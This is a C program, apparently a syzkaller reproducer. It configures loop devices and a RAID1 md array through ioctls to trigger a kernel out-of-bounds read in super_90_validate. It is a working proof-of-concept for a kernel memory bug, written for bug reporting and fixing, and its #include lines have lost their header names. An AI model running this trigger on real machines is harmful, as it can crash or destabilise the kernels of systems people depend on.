// https://syzkaller.appspot.com/bug?id=e8b203cb25e2abdf3af51e1ac4212861c9485c6a #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef MD_MAJOR #define MD_MAJOR 9 #endif #ifndef MD_SB_CLEAN #define MD_SB_CLEAN 0 #endif #ifndef MD_DISK_FAULTY #define MD_DISK_FAULTY 0 #endif #ifndef MD_DISK_ACTIVE #define MD_DISK_ACTIVE 1 #endif #ifndef MD_DISK_SYNC #define MD_DISK_SYNC 2 #endif #ifndef MD_DISK_JOURNAL #define MD_DISK_JOURNAL 18 #endif #ifndef SET_ARRAY_INFO #define SET_ARRAY_INFO _IOW(MD_MAJOR, 0x23, mdu_array_info_t) #endif #ifndef ADD_NEW_DISK #define ADD_NEW_DISK _IOW(MD_MAJOR, 0x21, mdu_disk_info_t) #endif #ifndef RUN_ARRAY #define RUN_ARRAY _IOW(MD_MAJOR, 0x30, mdu_param_t) #endif #ifndef STOP_ARRAY #define STOP_ARRAY _IO(MD_MAJOR, 0x32) #endif static int setup_loop_device(int lctrl, const char *backing_file, dev_t *out_dev) { int dev_idx = ioctl(lctrl, LOOP_CTL_GET_FREE); if (dev_idx < 0) { printf("[-] Failed ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno)); exit(1); } printf("[+] Allocated loop device index: %d\n", dev_idx); char loop_path[64]; snprintf(loop_path, sizeof(loop_path), "/dev/loop%d", dev_idx); struct stat st; if (stat(loop_path, &st) < 0) { if (errno == ENOENT) { printf("[*] %s does not exist, creating node (7, %d)...\n", loop_path, dev_idx); int res = mknod(loop_path, S_IFBLK | 0660, makedev(7, dev_idx)); if (res < 0) { printf("[-] Failed to mknod %s: %s\n", loop_path, strerror(errno)); exit(1); } printf("[+] mknod %s successful.\n", loop_path); } else { printf("[-] Failed to stat %s: %s\n", loop_path, strerror(errno)); exit(1); } } int img_fd = open(backing_file, O_RDWR | O_CREAT | O_TRUNC, 0666); if (img_fd < 0) { printf("[-] Failed to open backing file %s: %s\n", backing_file, strerror(errno)); exit(1); } printf("[+] Created backing file %s.\n", backing_file); int res = ftruncate(img_fd, 4 * 1024 * 1024); if (res < 0) { printf("[-] Failed to ftruncate %s: %s\n", backing_file, strerror(errno)); close(img_fd); exit(1); } printf("[+] Backing file truncated to 4MB.\n"); int loop_fd = open(loop_path, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open loop device %s: %s\n", loop_path, strerror(errno)); close(img_fd); exit(1); } printf("[+] Opened loop device %s.\n", loop_path); res = ioctl(loop_fd, LOOP_SET_FD, img_fd); if (res < 0) { printf("[-] Failed ioctl LOOP_SET_FD on %s: %s\n", loop_path, strerror(errno)); close(loop_fd); close(img_fd); exit(1); } printf("[+] Attached backing file to %s via LOOP_SET_FD.\n", loop_path); res = fstat(loop_fd, &st); if (res < 0) { printf("[-] Failed to fstat %s: %s\n", loop_path, strerror(errno)); close(loop_fd); close(img_fd); exit(1); } *out_dev = st.st_rdev; printf("[+] Loop device %s ready, dev_t=(%d, %d).\n", loop_path, major(*out_dev), minor(*out_dev)); close(img_fd); close(loop_fd); return dev_idx; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting reproducer for KASAN slab-out-of-bounds in super_90_validate...\n"); int lctrl = open("/dev/loop-control", O_RDWR); if (lctrl < 0) { printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully opened /dev/loop-control.\n"); dev_t dev0 = 0, dev1 = 0; setup_loop_device(lctrl, "/tmp/md_test_img0", &dev0); setup_loop_device(lctrl, "/tmp/md_test_img1", &dev1); close(lctrl); printf("[+] Both backing loop devices set up successfully.\n"); int md_fd = open("/dev/md0", O_RDWR); if (md_fd < 0 && errno == ENOENT) { printf("[*] /dev/md0 does not exist, creating node (9, 0)...\n"); int res = mknod("/dev/md0", S_IFBLK | 0660, makedev(9, 0)); if (res < 0) { printf("[-] Failed to mknod /dev/md0: %s\n", strerror(errno)); exit(1); } printf("[+] mknod /dev/md0 successful.\n"); md_fd = open("/dev/md0", O_RDWR); } if (md_fd < 0) { printf("[-] Failed to open /dev/md0: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully opened /dev/md0.\n"); int res = ioctl(md_fd, STOP_ARRAY, 0); if (res < 0) { printf("[*] ioctl STOP_ARRAY returned %s (normal if array was inactive)\n", strerror(errno)); } else { printf("[+] ioctl STOP_ARRAY successful.\n"); } mdu_array_info_t ainfo; memset(&ainfo, 0, sizeof(ainfo)); ainfo.level = 1; /* RAID1 */ ainfo.size = 2048; /* 2048 KB */ ainfo.nr_disks = 1; ainfo.raid_disks = 35; /* Must be >= 28 to exceed 4096-byte sb_page */ ainfo.not_persistent = 1; /* Keeps mddev->max_disks = 0 */ ainfo.state = (1 << MD_SB_CLEAN); res = ioctl(md_fd, SET_ARRAY_INFO, &ainfo); if (res < 0) { printf("[-] Failed ioctl SET_ARRAY_INFO: %s\n", strerror(errno)); close(md_fd); exit(1); } printf("[+] ioctl SET_ARRAY_INFO successful (level=1, raid_disks=35, not_persistent=1).\n"); mdu_disk_info_t dinfo0; memset(&dinfo0, 0, sizeof(dinfo0)); dinfo0.number = 0; dinfo0.major = major(dev0); dinfo0.minor = minor(dev0); dinfo0.raid_disk = 0; dinfo0.state = (1 << MD_DISK_SYNC) | (1 << MD_DISK_ACTIVE); res = ioctl(md_fd, ADD_NEW_DISK, &dinfo0); if (res < 0) { printf("[-] Failed ioctl ADD_NEW_DISK for initial disk: %s\n", strerror(errno)); close(md_fd); exit(1); } printf("[+] ioctl ADD_NEW_DISK successful for initial active disk.\n"); res = ioctl(md_fd, RUN_ARRAY, NULL); if (res < 0) { printf("[-] Failed ioctl RUN_ARRAY: %s\n", strerror(errno)); close(md_fd); exit(1); } printf("[+] ioctl RUN_ARRAY successful (RAID1 started in degraded mode with 1 mirror).\n"); mdu_disk_info_t dinfo1; memset(&dinfo1, 0, sizeof(dinfo1)); dinfo1.major = major(dev1); dinfo1.minor = minor(dev1); dinfo1.state = (1 << MD_DISK_JOURNAL); /* 1 << 18 */ printf("[*] Adding hot-add journal disk (state=0x%x) to trigger OOB read in super_90_validate...\n", dinfo1.state); res = ioctl(md_fd, ADD_NEW_DISK, &dinfo1); if (res < 0) { printf("[*] ioctl ADD_NEW_DISK (journal) returned: %s\n", strerror(errno)); } else { printf("[+] ioctl ADD_NEW_DISK (journal) completed.\n"); } printf("[*] Sleeping 1 second to allow kernel reporting to flush...\n"); sleep(1); close(md_fd); printf("[+] Reproducer run completed.\n"); return 0; }